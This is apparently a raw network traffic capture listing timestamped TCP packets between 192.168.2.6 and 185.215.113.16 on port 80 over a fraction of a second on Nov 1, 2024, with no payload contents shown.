Nov 1, 2024 00:38:48.000695944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000715017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000730991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000737906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000762939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000763893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000780106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000794888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000808001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000811100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000844955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000858068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000889063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000911951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000926018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000948906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000951052 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.000963926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000979900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.000988007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001027107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001044989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001081944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001094103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001096964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001126051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001128912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001147985 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001157045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001164913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001168013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001188993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001213074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001225948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001240015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001262903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001266003 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001279116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001302958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001334906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001334906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001352072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001374960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001394987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001424074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001439095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001461029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001476049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001476049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001513958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001544952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001547098 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001559019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001590967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001612902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001627922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001642942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001657963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001667976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001677036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001698017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001708984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001745939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001765966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001779079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001780987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001795053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001805067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001821995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001847982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001852036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001868010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001884937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001895905 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001900911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.001918077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.001940966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002304077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002316952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002331018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002362967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002378941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002388000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002388000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002393961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002418995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002430916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002440929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002455950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002480984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002484083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002496958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002512932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002522945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002527952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002545118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002567053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002568007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002584934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002589941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002612114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002645969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002648115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002696991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002705097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002717972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002742052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002756119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002758980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002785921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002795935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002823114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002836943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002851963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002866983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002892017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002921104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002923012 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002937078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002953053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002964020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.002969980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.002996922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003031015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003051996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003093958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003124952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003140926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003155947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003165007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003175020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003187895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003206015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003227949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003236055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003248930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003262997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.003273010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003295898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.003380060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.082324028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082346916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082362890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082439899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.082444906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082459927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082478046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082490921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082501888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.082532883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.082954884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082973003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.082988024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.083010912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.083053112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.083077908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.083095074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.083108902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.083126068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.083165884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.117620945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117638111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117655039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117679119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117693901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117708921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117733955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117748976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117779970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117794037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117810011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117825031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117841959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117844105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.117892027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.117893934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.117932081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.117985964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118001938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118016958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118031025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118037939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118048906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118056059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118071079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118087053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118098021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118127108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118335962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118351936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118376970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118391991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118391991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118410110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118417025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118436098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118453026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118454933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118470907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118485928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118499041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118501902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118527889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118529081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118545055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118552923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118562937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118577957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118588924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118594885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118611097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118630886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118638992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118655920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118663073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118671894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118700981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118705034 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118721962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118736982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118737936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118767977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118804932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118824005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118839979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118863106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118868113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118880033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118891001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118896961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.118916988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118954897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.118984938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119000912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119018078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119030952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119033098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119050026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119055986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119081020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119093895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119117022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119160891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119174957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119201899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119210958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119224072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119234085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119250059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119251013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119271994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119292021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119462967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119478941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119493961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119537115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119610071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119626045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119642019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119656086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119661093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119673014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119710922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119724035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119738102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119738102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119774103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119777918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119793892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119808912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119824886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119827032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119843006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119858027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119906902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119923115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119936943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119936943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119950056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.119952917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119971037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.119995117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.120007992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.120026112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.120033979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.120040894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.120069981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.120105982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199192047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199244976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199296951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199320078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199383020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199434996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199455976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199501991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199506044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199542046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199548006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199578047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199584961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199613094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199623108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199676037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199764967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199829102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199836969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199870110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199872971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199888945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199914932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199918985 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199954033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.199981928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.199987888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.200002909 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.200035095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234318972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234354019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234411001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234426022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234440088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234456062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234502077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234641075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234675884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234692097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234714985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234729052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234772921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234780073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234816074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234823942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234860897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234884024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234918118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.234926939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234962940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.234982967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235034943 CET	80	49887	185.215.113.16	192.168.2.6
